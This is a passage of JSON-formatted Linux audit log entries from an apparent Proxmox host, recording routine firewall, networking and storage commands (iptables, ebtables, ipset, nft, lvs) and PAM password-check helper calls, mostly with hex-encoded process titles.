cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605333,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.333:61751): proctitle=\"ip6tables-save\""} {"@timestamp":1781965965738,"@rawstring":"node=pve type=PATH msg=audit(1781965965.738:67879): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605327,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.327:61750): proctitle=\"iptables-save\""} {"@timestamp":1781965965738,"@rawstring":"node=pve type=PATH msg=audit(1781965965.738:67879): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.324:61749): proctitle=\"ebtables-restore\""} {"@timestamp":1781965965737,"@rawstring":"node=pve type=PATH msg=audit(1781965965.737:67878): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605322,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.322:61748): proctitle=\"ebtables-restore\""} {"@timestamp":1781965965737,"@rawstring":"node=pve type=PATH msg=audit(1781965965.737:67878): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605317,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.317:61747): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965965737,"@rawstring":"node=pve type=PATH msg=audit(1781965965.737:67877): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605312,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.312:61746): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965965733,"@rawstring":"node=pve type=PATH msg=audit(1781965965.733:67876): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605307,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.307:61745): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965965733,"@rawstring":"node=pve type=PATH msg=audit(1781965965.733:67876): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.302:61744): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965965733,"@rawstring":"node=pve type=PATH msg=audit(1781965965.733:67876): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605296,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.296:61743): proctitle=697073657400726573746F7265"} {"@timestamp":1781965965724,"@rawstring":"node=pve type=PATH msg=audit(1781965965.724:67875): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605290,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.290:61742): proctitle=\"ip6tables-save\""} {"@timestamp":1781965965724,"@rawstring":"node=pve type=PATH msg=audit(1781965965.724:67875): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605283,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.283:61741): proctitle=\"iptables-save\""} {"@timestamp":1781965965717,"@rawstring":"node=pve type=PATH msg=audit(1781965965.717:67874): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.278:61740): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965965717,"@rawstring":"node=pve type=PATH msg=audit(1781965965.717:67874): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.274:61739): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965965710,"@rawstring":"node=pve type=PATH msg=audit(1781965965.710:67873): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605273,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.273:61738): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965965710,"@rawstring":"node=pve type=PATH msg=audit(1781965965.710:67873): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605273,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.273:61737): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965965701,"@rawstring":"node=pve type=PATH msg=audit(1781965965.701:67872): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605269,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.269:61736): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965965701,"@rawstring":"node=pve type=PATH msg=audit(1781965965.701:67872): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605261,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.261:61735): proctitle=\"ip6tables-save\""} {"@timestamp":1781965965694,"@rawstring":"node=pve type=PATH msg=audit(1781965965.694:67870): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.254:61734): proctitle=\"iptables-save\""} {"@timestamp":1781965965694,"@rawstring":"node=pve type=PATH msg=audit(1781965965.694:67870): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.250:61733): proctitle=69707365740073617665"} {"@timestamp":1781965965688,"@rawstring":"node=pve type=PATH msg=audit(1781965965.688:67869): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.243:61732): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965965688,"@rawstring":"node=pve type=PATH msg=audit(1781965965.688:67869): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605236,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.236:61731): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965965682,"@rawstring":"node=pve type=PATH msg=audit(1781965965.682:67868): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.000:61730): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965682,"@rawstring":"node=pve type=PATH msg=audit(1781965965.682:67868): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.000:61729): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965677,"@rawstring":"node=pve type=PATH msg=audit(1781965965.677:67867): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.000:61728): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965677,"@rawstring":"node=pve type=PATH msg=audit(1781965965.677:67867): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604991,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964604.991:61727): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965670,"@rawstring":"node=pve type=PATH msg=audit(1781965965.670:67866): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604991,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964604.991:61726): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965670,"@rawstring":"node=pve type=PATH msg=audit(1781965965.670:67866): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604991,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964604.991:61725): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965663,"@rawstring":"node=pve type=PATH msg=audit(1781965965.663:67865): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604917,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964604.917:61724): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965965663,"@rawstring":"node=pve type=PATH msg=audit(1781965965.663:67865): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604888,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964604.888:61723): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965965656,"@rawstring":"node=pve type=PATH msg=audit(1781965965.656:67864): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964604.844:61721): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965965656,"@rawstring":"node=pve type=PATH msg=audit(1781965965.656:67864): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604841,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964604.841:61720): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965965650,"@rawstring":"node=pve type=PATH msg=audit(1781965965.650:67863): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964604.803:61719): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965965650,"@rawstring":"node=pve type=PATH msg=audit(1781965965.650:67863): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964604800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964604.800:61718): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965965646,"@rawstring":"node=pve type=PATH msg=audit(1781965965.646:67862): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964601029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964601.029:61716): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965965646,"@rawstring":"node=pve type=PATH msg=audit(1781965965.646:67862): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964601026,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964601.026:61715): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965965642,"@rawstring":"node=pve type=PATH msg=audit(1781965965.642:67861): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964600973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964600.973:61714): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965965642,"@rawstring":"node=pve type=PATH msg=audit(1781965965.642:67861): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964600970,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964600.970:61713): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965965641,"@rawstring":"node=pve type=PATH msg=audit(1781965965.641:67860): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964599.978:61712): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965641,"@rawstring":"node=pve type=PATH msg=audit(1781965965.641:67860): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964599.978:61711): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965641,"@rawstring":"node=pve type=PATH msg=audit(1781965965.641:67859): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964599.978:61710): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965637,"@rawstring":"node=pve type=PATH msg=audit(1781965965.637:67858): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964599.969:61709): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965637,"@rawstring":"node=pve type=PATH msg=audit(1781965965.637:67858): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964599.969:61708): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965637,"@rawstring":"node=pve type=PATH msg=audit(1781965965.637:67858): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964599969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964599.969:61707): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965965628,"@rawstring":"node=pve type=PATH msg=audit(1781965965.628:67857): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595226,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.226:61706): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965965628,"@rawstring":"node=pve type=PATH msg=audit(1781965965.628:67857): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.222:61705): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965965620,"@rawstring":"node=pve type=PATH msg=audit(1781965965.620:67856): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595221,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.221:61704): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965965620,"@rawstring":"node=pve type=PATH msg=audit(1781965965.620:67856): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595221,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.221:61703): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965965615,"@rawstring":"node=pve type=PATH msg=audit(1781965965.615:67855): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.217:61702): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965965615,"@rawstring":"node=pve type=PATH msg=audit(1781965965.615:67855): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595211,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.211:61701): proctitle=\"ip6tables-save\""} {"@timestamp":1781965965605,"@rawstring":"node=pve type=PATH msg=audit(1781965965.605:67854): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595204,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.204:61700): proctitle=\"iptables-save\""} {"@timestamp":1781965965605,"@rawstring":"node=pve type=PATH msg=audit(1781965965.605:67854): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595198,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.198:61699): proctitle=\"ip6tables-save\""} {"@timestamp":1781965965597,"@rawstring":"node=pve type=PATH msg=audit(1781965965.597:67853): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.192:61698): proctitle=\"iptables-save\""} {"@timestamp":1781965965597,"@rawstring":"node=pve type=PATH msg=audit(1781965965.597:67853): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.189:61697): proctitle=\"ebtables-restore\""} {"@timestamp":1781965964932,"@rawstring":"node=pve type=PATH msg=audit(1781965964.932:67852): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595186,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.186:61696): proctitle=\"ebtables-restore\""} {"@timestamp":1781965964932,"@rawstring":"node=pve type=PATH msg=audit(1781965964.932:67852): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595182,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.182:61695): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965964932,"@rawstring":"node=pve type=PATH msg=audit(1781965964.932:67851): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595176,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.176:61694): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965964932,"@rawstring":"node=pve type=PATH msg=audit(1781965964.932:67850): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.170:61693): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965964922,"@rawstring":"node=pve type=PATH msg=audit(1781965964.922:67849): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.164:61692): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965964922,"@rawstring":"node=pve type=PATH msg=audit(1781965964.922:67849): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595159,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.159:61691): proctitle=697073657400726573746F7265"} {"@timestamp":1781965964922,"@rawstring":"node=pve type=PATH msg=audit(1781965964.922:67848): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964595.152:61690): proctitle=\"ip6tables-save\""} {"@timestamp":1781965964922,"@rawstring":"node=pve type=PATH msg=audit(1781965964.922:67847): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 